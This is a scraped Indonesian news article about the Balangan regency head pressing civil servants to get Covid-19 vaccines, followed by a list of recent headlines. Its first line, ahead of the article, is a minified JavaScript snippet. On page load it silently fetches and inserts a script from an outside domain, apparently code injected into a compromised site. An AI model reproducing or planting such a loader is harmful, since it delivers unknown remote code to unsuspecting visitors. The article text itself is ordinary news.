(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Cakupan Vaksinasi Rendah, Bupati Abdul Hadi: ASN Segera Vaksin!


KANALKALIMANTAN.COM, PARINGIN – Cakupan vaksinasi tahap kedua untuk pelayanan publik di Kabupaten Balangan masih rendah, baru sekitar 29 persen sasaran yang mendapat vaksin atau urutan kelima dari 13 kabupaten/kota se Kalsel.

Menyikapi hal tersebut, Bupati Balangan H Abdul Hadi mengimbau untuk seluruh pelayanan publik termasuk pejabat publik dan masyarakat dengan kesadaran penuh untuk mengikhlaskan diri untuk divaksin, karena hal ini sangat berdampak positif untuk menekan angka positif Covid-19 di Kabupaten Balangan.

“Jika masih ada petugas publik, pejabat atau ASN tidak bersedia divaksin, maka kita akan berikan teguran atau sanksi, untuk pejabat eselon kemungkinan tunjangan tambahan penghasilannya akan kita tahan,” ujarnya kepada awak media saat launching vaksinasi Covid-19 untuk pelayanan publik, di aula Benteng Tundakan, Selasa (27/4/2021).

Dalam vaksinasi yang menjadi sasaran adalah pejabat publik seperti ASN, non ASN/staf, BUMN dan BUMD.

 

 

Bupati Abdul Hadi mengatakan, disuntik vaksin tidak terlalu sakit, tidak seperti isu yang selama ini beredar di masyarakat.

“Rasanya sendiri hanya seperti digigit semut saja, tidak terlalu sakit seperti apa yang selama ini kita dengar di kalangan masyarakat,” ujarnya.

Sementara itu, Kepala Dinas Kesehatan Kabupaten Balangan Erwan MKL mengatakan, vaksinasi hari ini difokuskan di kantor Bupati Balangan.

Sampai sekarang cakupan untuk vaksinasi tahap kedua masih sekitar 29 persen atau urutan kelima dari 13 kabupaten/kota di Kalsel.

“Masih banyak ASN dan non ASN yang belum mau untuk divaksin, dari hampir semua SKPD telah dilaksanakan tetapi jumlah ASNnya yang kurang, dan Alhamdulillah hari ini lumayan banyak yang siap untuk divaksin setelah adanya arahan dari Bupati,” ucapnya.

Erwan mengatakan, target sepenuhnya akan terpenuhi hanya tinggal menunggu waktu, dan vaksin yang sudah dipakai sekitar 3.343 dosis tahap pertama dan tahap kedua, masih ada persediaan sekitar 4.020 dosis.

Selanjutnya untuk Lansia, juga akan divaksin di tahap kedua, hanya saja masih ada kendala. Karena sampai sekarang cakupan untuk Lansia sangat rendah.

“Sekarang baru Lansia calon jemaah haji saja yang divaksin, karena itu merupakan dari syarat mereka untuk melakukan keberangkatan haji,” jelasnya. (kanalkalimantan.com/alfi)

Reporter: alfi
Editor: kk

 

 

 

 


Al Ghifari

Recent Posts

Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More

15 jam ago

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

17 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

18 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

23 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

24 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

1 hari ago

This website uses cookies.